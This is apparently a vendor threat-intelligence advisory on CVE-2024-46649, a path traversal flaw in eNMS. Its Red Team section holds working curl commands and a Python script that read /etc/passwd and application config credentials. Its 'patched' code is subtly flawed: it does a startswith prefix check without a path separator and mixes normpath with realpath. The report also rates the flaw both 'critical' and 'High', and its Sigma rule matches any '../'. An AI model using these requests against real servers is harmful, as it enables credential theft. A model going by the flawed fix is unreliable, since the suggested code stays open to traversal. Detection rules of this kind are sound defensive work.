CVE-2024-46649

Executive Summary

CVE-2024-46649 is a critical directory traversal vulnerability in eNMS (Enterprise Network Management System) versions up to and including 4.7.1. The flaw exists in the /download/folder endpoint, allowing an unauthenticated attacker to read arbitrary files from the server's filesystem by manipulating the path parameter with ../ sequences. This can lead to the disclosure of sensitive configuration files, credentials, and application source code. The vulnerability has a CVSS base score of 7.5 (High) due to its low attack complexity and network-based exploitation without authentication. No official patch has been released by the vendor, making this a high-priority issue for any organization using eNMS.

Supply Chain & Package Security

eNMS is a Python-based web application. The vulnerability is not in a dependency but in the application's own routing logic. However, the lack of a patch and the vendor's unresponsiveness create a supply chain risk: organizations must rely on custom mitigations or consider replacing the software.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Arbitrary file read.
• Integrity (I): None (N) – No write capability.
• Availability (A): None (N) – No denial of service.

CVSS Score: 7.5 (High)

Threat Level: Critical due to the ease of exploitation and the potential for credential theft leading to lateral movement.

Deep Dive & Mechanics

The vulnerability resides in the download/folder route handler. The application fails to sanitize user-supplied input for the path parameter. An attacker can inject path traversal sequences (e.g., ../../../etc/passwd) to escape the intended download directory and read any file the web server process has access to.

Root Cause: The application uses os.path.join or similar functions without validating that the resulting path is within the allowed base directory. This is a classic CWE-22 (Path Traversal) flaw.

Attack Flow:

1. Attacker sends a GET request to /download/folder?path=../../../etc/passwd.
2. The server constructs a file path by concatenating the base directory with the user-supplied path.
3. The server reads and returns the contents of the file at the constructed path.

Vulnerable vs. Patched Code

Vulnerable Code (eNMS <= 4.7.1):

@app.route('/download/folder')
def download_folder():
    path = request.args.get('path')
    # No validation of path
    full_path = os.path.join(BASE_DOWNLOAD_DIR, path)
    return send_file(full_path, as_attachment=True)

Patched Code (Hypothetical Fix):

import os

@app.route('/download/folder')
def download_folder():
    path = request.args.get('path')
    # Sanitize: resolve and check prefix
    full_path = os.path.normpath(os.path.join(BASE_DOWNLOAD_DIR, path))
    if not full_path.startswith(os.path.realpath(BASE_DOWNLOAD_DIR)):
        return "Invalid path", 403
    return send_file(full_path, as_attachment=True)

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running eNMS <= 4.7.1.
• Network access to the web interface.

Exploit Steps:

1. Identify the target's eNMS instance (e.g., http://target:5000).
2. Send a crafted request to read sensitive files:

   curl "http://target:5000/download/folder?path=../../../etc/passwd"
   

3. For Windows targets, use backslashes or URL-encoded paths:

   curl "http://target:5000/download/folder?path=..\..\..\Windows\win.ini"
   

4. Read application configuration files to extract database credentials:

   curl "http://target:5000/download/folder?path=../config.py"
   

Automated Exploit (Python):

import requests

target = "http://target:5000"
payload = "../../../etc/passwd"
url = f"{target}/download/folder?path={payload}"
response = requests.get(url)
print(response.text)

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for requests containing ../ or ..%2f in the path parameter.
• Alert on any access to /download/folder with suspicious path traversal patterns.

Response:

1. Immediately isolate the affected server.
2. Review logs for indicators of compromise (IOCs).
3. Rotate any credentials that may have been exposed.
4. Apply a WAF rule to block path traversal attempts (see Detection Engineering).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /download/folder?path=* containing ../ or ..%2f.
  • Outbound connections from the eNMS server to unknown IPs (if attacker exfiltrates data).
• File System IOCs:
  • Unexpected files in the download directory (e.g., copies of /etc/passwd).
  • Modified access times on sensitive system files.
• Log IOCs:
  • Web server logs showing 200 responses to path traversal requests.
  • Application logs with errors like FileNotFoundError for paths outside the base directory.

Detection Engineering

YARA Rule

rule CVE_2024_46649_Directory_Traversal {
    meta:
        description = "Detects path traversal attempts targeting eNMS download/folder endpoint"
        author = "Valters IT"
        date = "2024-09-01"
        reference = "CVE-2024-46649"
    strings:
        $s1 = "/download/folder?path="
        $s2 = "../"
        $s3 = "..%2f"
        $s4 = "..%5c"
    condition:
        $s1 and any of ($s2, $s3, $s4)
}

Sigma Rule

title: CVE-2024-46649 eNMS Directory Traversal
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects path traversal attempts against eNMS download/folder endpoint
author: Valters IT
date: 2024-09-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '/download/folder?path='
            - '../'
            - '..%2f'
            - '..%5c'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some configurations (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46649 eNMS Directory Traversal Attempt"; flow:to_server,established; content:"/download/folder?path="; http_uri; content:"../"; distance:0; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /download/folder endpoint if not required, by modifying the application code or using a reverse proxy to block access.
2. Apply a Web Application Firewall (WAF) rule to block requests containing ../ or ..%2f in the path parameter.
3. Restrict file system permissions so the web server process has minimal read access.

Long-Term Fix:

• Since no official patch exists, consider migrating to an alternative network management solution.
• If you must continue using eNMS, implement a custom patch as shown in the "Vulnerable vs. Patched Code" section.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters-it.com.